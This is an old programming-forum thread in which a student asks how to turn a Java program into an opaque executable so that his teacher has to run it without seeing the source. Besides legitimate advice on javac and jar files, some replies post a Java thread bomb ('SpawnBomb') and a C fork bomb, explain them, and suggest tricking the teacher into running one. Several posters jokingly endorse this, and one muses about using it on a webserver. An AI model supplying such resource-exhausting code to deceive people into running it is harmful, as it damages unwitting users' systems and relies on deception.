LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 01-13-2004, 06:56 PM   #1
Laptop2250
Member
 
Registered: Oct 2003
Posts: 131

Rep: Reputation: 15
Question How do I make an "exe" of a java file??


I want to send this code to my java teacher
Code:
public class OceanOThunder {             

    public static void main (String []args) {
       
       for (int i=0; i<1000000; i++) {
            if(i<10000) {
                System.out.print ("OceanOThunder");
            }
           
           System.out.println (i);
                                      }
                                             }
                                         }
But if I send OceanOThunder.java to him, he will just open it up with notepad (he is windowz). How can I make this into a file that he has to run to see what it does but isn't able to view with notepad.

Thats what I meant by exe, (to my knowledge) unable to read with notepad, but have 2 run 2 see what it does.
 
Old 01-13-2004, 07:01 PM   #2
jtshaw
Senior Member
 
Registered: Nov 2000
Location: Seattle, WA USA
Distribution: Ubuntu @ Home, RHEL @ Work
Posts: 3,892
Blog Entries: 1

Rep: Reputation: 67
what you need to do is compile it into java byte code using something like the Sun SDK (or whatever SDK he asked you to use) and he needs to have the JavaVM on his end to run it.
 
Old 01-13-2004, 07:03 PM   #3
Mega Man X
LQ Guru
 
Registered: Apr 2003
Location: ~
Distribution: Ubuntu, FreeBSD, Solaris, DSL
Posts: 5,339

Rep: Reputation: 65
He has to have Java Run Time environment installed. As far as I know, you cannot create executables with java (ok, you can compile it to the machine language, but I never really went to it). So to compile the code:

javac OceanOThunder.java

That would create a file called OceanOThunder.class which is somewhat "compiled" and to run it:

java OceanOThunder

If you are using gcj to compile, use:

gcj -C OceanOThunder.java
 
Old 01-13-2004, 07:10 PM   #4
Laptop2250
Member
 
Registered: Oct 2003
Posts: 131

Original Poster
Rep: Reputation: 15
Ty =)

this code actually lagged my machine at 100k
 
Old 01-13-2004, 07:44 PM   #5
shellcode
Member
 
Registered: May 2003
Location: Beverly Hills
Distribution: Slackware, Gentoo
Posts: 350

Rep: Reputation: 32
Lightbulb Re: How do I make an "exe" of a java file??

Quote:
Originally posted by Laptop2250
How can I make this into a file that he has to run to see what it does but isn't able to view with notepad.
considering that this is a computer science teacher, he is probably interested in your source code, not the end result.
 
Old 01-14-2004, 08:38 AM   #6
deiussum
Member
 
Registered: Aug 2003
Location: Santa Clara, CA
Distribution: Slackware
Posts: 895

Rep: Reputation: 32
I probably shouldn't do this as it could possibly considered as contributing to the delinquency of minors, but as has already been pointed out, the teacher will probably want to see source code, so won't be tricked.

So, if you wanted to give your teacher something a bit more evil than printing out a bunch of lines of output, you could give him something like the following.

Code:
class SpawnBomb extends Thread {

    public void run() {
        SpawnBomb oBomb = null;

        while(true) {
            oBomb = new SpawnBomb();
            oBomb.start();
        }
    }

    public static void main(String[] args) {
        SpawnBomb oBomb = null;

        while(true) {
            oBomb = new SpawnBomb();
            oBomb.start();
        }
    }
}

Last edited by deiussum; 01-14-2004 at 08:41 AM.
 
Old 01-14-2004, 05:04 PM   #7
Laptop2250
Member
 
Registered: Oct 2003
Posts: 131

Original Poster
Rep: Reputation: 15
yep he requested i send the .java o well would of been funny.

Anyway, I am not a delinquent minor (I messed around with too many punters on old aol versions with friends to have fun with those kind of things now =) im just newb programmer =). Does the SpawnBomb take up ram and eventually freeze the pc (like my program but without printing out stuff, and my progam ends?)

whats extends Thread { do?
Code:
class SpawnBomb extends Thread {
 
Old 01-14-2004, 08:37 PM   #8
nmoog
Member
 
Registered: Sep 2003
Location: Sydney
Distribution: Debian
Posts: 70

Rep: Reputation: 15
Quote:
Does the SpawnBomb take up ram and eventually freeze the pc
Try it out!

It'll kill ya puter much faster than your printing program! Threads are the coolest things ever. Read up on them - they have good uses too!
 
Old 01-14-2004, 10:21 PM   #9
coolman0stress
Member
 
Registered: Jun 2003
Location: Toronto, Ontario, Canada
Posts: 288

Rep: Reputation: 30
You can get an "exe" like behaviour from a java app.
Take your .class files and put them into a .jar with a manifest. Then if the user's pc is configured correctly (when you install the runtime it should do this), double clicking on the jar file will execute it.
 
Old 01-15-2004, 08:32 AM   #10
deiussum
Member
 
Registered: Aug 2003
Location: Santa Clara, CA
Distribution: Slackware
Posts: 895

Rep: Reputation: 32
The extends Thread causes the class to inherit from the Thread class, which is how you can create a separate thread of execution in Java. You can have multiple threads, where you have different threads executing at essentially the same time. The SpawnBomb class there starts out with a while loop that continuously starts up a new thread. Each thread it starts itself continuosly starts up a new thread that in turn starts more threads...

So essentially, you have an exponential number of threads being created, and each thread is fighting for CPU time, so it will keep your CPU very busy.

For a variation, you could use a static int that is incremented with each thread created, use it to give each of your created threads an ID, and print that ID out to get an idea of what is going on.
 
Old 01-15-2004, 09:05 AM   #11
caged
Member
 
Registered: Jan 2004
Location: new zealand
Distribution: Mandrake,Slackware
Posts: 165

Rep: Reputation: 30
there are programs that can compile java code into .exe files dont remember the names google it and you should have some direction. it kinda defeats the purpose of java as a language that will work on any platform (as long as the java virtual machine is installed). but you have justified your self there (ah its for malicious purposes... ) ;P

ben.
 
Old 03-16-2004, 11:11 AM   #12
xushi
Senior Member
 
Registered: Jun 2003
Location: UK
Distribution: Gentoo
Posts: 1,288

Rep: Reputation: 45
Lol, nice bomb there
Its a shame it doesn't last long in high end machines... it took up half a gig of ram, and eventually kept outputing

java.lang.OutOfMemoryError: unable to create new native thread at java.lang.Thread.start(Native Method)
at SpawnBomb.run(Spawnbomb.java:8)

before it terminated itself a minute later.. But it did manage to lag my music for a second there...

hmm, /me wonders what /me could do with this code and a webserver.. muhahaha..

As for java to exe, there are loads out there, check this one out
http://www.duckware.com/jexepack/

HTH
 
Old 03-17-2004, 06:52 AM   #13
worldmagic
Member
 
Registered: Oct 2003
Location: Europe/Sweden
Distribution: RedHat
Posts: 78

Rep: Reputation: 15
Done right

I know that you want to do this in Java. And you maybe can, the problem with java has memory restricts (Windows only gives every JVM so much memory to play with, it becomes abit hard to useup all memory in the machine that way). A failed thread wont terminate your java program, but it will give a hint to the user whats going on.

Dump the threads, and go for creating new Processes (new running programs).
Theres the source in C. You can probely translate this to Java.

<code>
#include <unistd.h>
#include <stdlib.h>

int main()
{
while(1) {
fork();
}

return EXIT_SUCCESS;
}
</code>

From the Fork Manual page:

DESCRIPTION
The fork() function shall create a new process. The new process (child
process) shall be an exact copy of the calling process (parent process)

You will get realy nice results using this method.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
So many errors when I typed the "make" and "make install" command Niceman2005 Linux - Software 23 07-22-2009 02:33 PM
How to make a "setup.exe" mcm1738 Linux - Software 17 04-14-2005 12:26 PM
how can I install a ".exe" file in linux ? sean_wang Linux - Software 4 12-18-2004 08:53 PM
Java error "Exception in thread "main" java.lang.StackOverflowError" nro Programming 1 09-04-2004 03:47 AM
I cannot use "java chat". Browser says plugin required "x-java-vm". jdruin Linux - Software 4 04-18-2004 05:44 PM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 08:28 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration